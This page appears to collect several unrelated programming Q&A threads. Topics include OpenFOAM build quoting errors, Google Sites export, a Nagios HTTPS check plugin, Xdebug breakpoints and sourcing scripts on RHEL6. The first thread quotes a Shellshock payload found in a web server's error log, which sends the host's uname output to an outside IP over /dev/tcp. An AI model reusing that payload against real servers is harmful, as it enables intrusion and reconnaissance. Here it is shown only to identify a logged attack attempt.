What is this strange referring link my website's error_log? - exploit

I've never seen a referrer in my error log which didn't come from at least a URL...what the heck is this? Some kind of hack attempt?
referer: () { :;}; /bin/bash -c "echo SITE.COM/cgi-sys/php5 > /dev/tcp/67.228.177.7/23; /bin/uname -a > /dev/tcp/67.228.177.7/23; echo SITE.COM/cgi-sys/php5 > /dev/udp/67.228.177.7/80"

This does look like an attempt to exploit the Shellshock bash bug.

Related

openfoam ./makeParaview

i am currently building openfoam 1912 from source and have some trouble building paraview. I just build Qt and Cmake but as soon as i type ./makeParaview qt-5.9.9 5.6.3i get the following error:
./makeParaView: 64: local: -DWM_DP: bad variable name
./makeParaView: 64: ./makeParaView: -DOPENFOAM: bad variable name
A similar error occurs when i try to make VTK / Adios2. Any idea where i took the wrong turn?
Greetings
Gabbagandalf
The proper solution is related to shell quoting issues
- flag="$(stripCompilerFlags $flag)"
+ flag="$(stripCompilerFlags "$flag")"
but in the meantime you can simply change the shebang to #!/bin/bash - it is more forgiving.
As discussed and resolved in these GitLab ticket-1 and ticket-2:
The issue seems to be Ubuntu related.
Solution:
Prior to execute ./makeParaview, switch to bash:
Change the first line of makeParaView script to #!/bin/bash
sudo dpkg-reconfigure dash
./makeParaView

Google sites liberation: Bad Request Invalid request URI

I keep getting
Jul 24, 2014 11:53:15 AM com.google.sites.liberation.export.ContinuousContentFeed?$FeedIterator? catchException WARNING: Error retrieving response from query. com.google.gdata.util.InvalidEntryException?: Bad Request Invalid request URI
at com.google.gdata.client.http.HttpGDataRequest.handleErrorResponse(HttpGDataRequest.java:558) at com.google.gdata.client.http.GoogleGDataRequest.handleErrorResponse(GoogleGDataRequest.java:543) at com.google.gdata.client.http.HttpGDataRequest.checkResponse(HttpGDataRequest.java:536) at com.google.gdata.client.http.HttpGDataRequest.execute(HttpGDataRequest.java:515)
I used (you can use this test account i provide the password here below :) ).
java -jar google-sites-liberation-1.0.4.jar -w https://sites.google.com/site/hmmtestgsl/ -u hmmtestgsl#gmail.com -p aaabbbcccddd -f ./backup
and I changed the main in MANIFEST.MF to: Main-Class: com.google.sites.liberation.export.Main so that I can run it from command line.
Using
-w hmmtestgsl
instead of
-w https://sites.google.com/site/hmmtestgsl/
fixed it.

Nagios Custom Plug-in(https authentication) not working as expected

I am writing a plugin to check authentication to a https site and then search for a text in the response html,body to confirm successful login. I have created the following plugin
#!/bin/bash
add_uri='--no-check-certificate https://'
end_uri='/'
result=$(wget -O- $add_uri$1$end_uri --post-data=$2)
flag=`echo $result|awk '{print match($0,"QC Domain")}'`;
echo $flag
echo "Nagios refreshes properly1"
if [[ $flag -gt 0 ]] ; then
echo 'ALL SEEMS FINE!!'
exit 0
else
echo 'Some Problem'
exit 2
fi;
When I execute this plugin directly from command line
./check_nhttps <url here> '<very long post data with credential information>'
The plugin works as expected(For both + & - test cases) and there seems to be no issues.
But when the plugin runs from Nagios,
check_command check_nhttps! <url here> '<very long post data with credential information>'
It always shows critical error(Prints else condition text "Some Problem" too).
P.S : Tried sending the post data with double quotes also.
Please help!!!
I'd think its very probable that your post data contains some characters that confuse nagios, maybe a space, or even a !. Better put the post data into some file and use --post-file. Also, you might insert echo "$2" > /tmp/this_is_my_post_data_when_executed_by_nagios into your script and check if the post data is ok.

Xdebug in Netbeans: not stopping on breakpoint inside file in "web root's" parent folder

I have a netbeans project with a directory tree like this:
<source folder>
|
|---> gui <web root folder>
| |
| L---> datos.php
|
L---> index.php
datos.php changes the working directory to .. (source folder) and includes index.php like this:
chdir('..');
require 'index.php';
If I put a breakpoint inside datos.php, the debugger breaks on it correctly, but when putting one in index.php it ignores it.
The strange thing is 6 months ago I had the same problem and I was able to fix it. Now I don't know why it stopped working and what I did back then to fix it.
More info:
xdebug log shows the following command for breakpoint setting:
breakpoint_set -i 315 -t line -s enabled -f file:///Users/tomasgirardi/NetBeansProjects/datamed/index.php -n 51
breakpoint_set -i 316 -t line -s enabled -f file:///Users/tomasgirardi/NetBeansProjects/datamed/gui/datos.php -n 39
In both cases xdebug responds with state="enabled"
And if I debug manually, I can use the following command to set the breakpoint, which works:
breakpoint_set -i 315 -t line -s enabled -f file:///../index.php -n 51
But I don't know how could I make netbeans issue the breakpoint_set command with the same file:///../index.php argument and not file:///Users/tomasgirardi/NetBeansProjects/datamed/index.php or any other way I can make this work.
Thanks in advance for any help!
You always can try using xdebug_break();
For example :
<?php
for ( $i=1, $j=0; $i<10; $i++) {
xdebug_break();
echo "<br>Line $i"; // will stop here
}
?>
will add a breakpoint in the following line.
Hope that helps a little...
Breakpoints are working again. I don't have any clues to why they didn't worked before but now they do. I can't remember doing any changes in xdebug or Netbeans either.
xdebug.log shows me the same as before, but now it stops at the setted breakpoint:
<- breakpoint_set -i 4 -t line -s enabled -f file:///Users/tomasgirardi/NetBeansProjects/datamed/index.php -n 51
-> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="breakpoint_set" transaction_id="4" state="enabled" id="14290001"></response>
<- run -i 5
-> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="run" transaction_id="5" status="break" reason="ok"><xdebug:message filename="file:///Users/tomasgirardi/NetBeansProjects/datamed/index.php" lineno="51"></xdebug:message></response>
However, if anyone knows why this could had happend, sharing it could be helpful either way: probably me or someone else will be able to avoid having similar troubles in the future.
This issue is more specific to people who are using remote servers for their web apps.
I had the same problem. Xdebug ignores breakpoints really helped me however i have given solution more specific to netbeans, but the essence is the same, which ever IDE you are using. Just map your local project path with your remote server path.
My environment is WINDOWS 7 and website is hosted on UBUNTU VM. I am using NETBEANS from Windows 7 and has setup a remote project.
My xdebug logs
<- breakpoint_set -i 4 -t line -s enabled -f file:///C:/Users/ali/Documents/NetBeansProjects/test.com.au/cgen/src/Acme/TestBundle/Controller/CreateController.php -n 39
->
The real problem was the project path in netbeans [C:/Users/ali/Documents/NetBeansProjects/test.com.au] and the project path on the webserver. /home/ali/sites/test.com.au
Fix: In Netbeans click on your project > properties > Run Configuration > Advanced > Just put the appropriate server path and equivalent project path. It will work fine.
Same problem was solved by commenting xdebug.extended_info = 0. Also one may switch it to 1.
To get it to work again i changedxdebug.remote_host=127.0.0.1 to xdebug.remote_host=localhost in php.ini
below is my config for xdebuga
xdebug.remote_enable=1
xdebug.remote_port=9001
xdebug.remote_handler=dbgp
xdebug.remote_host=localhost
xdebug.remote_autostart = 1
xdebug.show_local_vars = 1
xdebug.profiler_enable = 1
output_buffering=off
xdebug.idekey=netbeans-xdebug

/bin/sh RHEL6 source not working

we have a build environ which sources a script for few environment settings as follows
if test -f build_env
then
# Source the config file
. build_env
but some how this seems to be failing in RHEL6
sh-4.1$ . build_env
sh: .: build_env: file not found
while in RHEL4 it works
sh-3.00$ . buildenv
sh-3.00$
what could be the issue ?
Try . ./build_env (notice './').
Also, your if syntax is doubtful, though I can't be sure until you fix formatting in the question. I would write it like this:
if test -f build_env; then . ./build_env; fi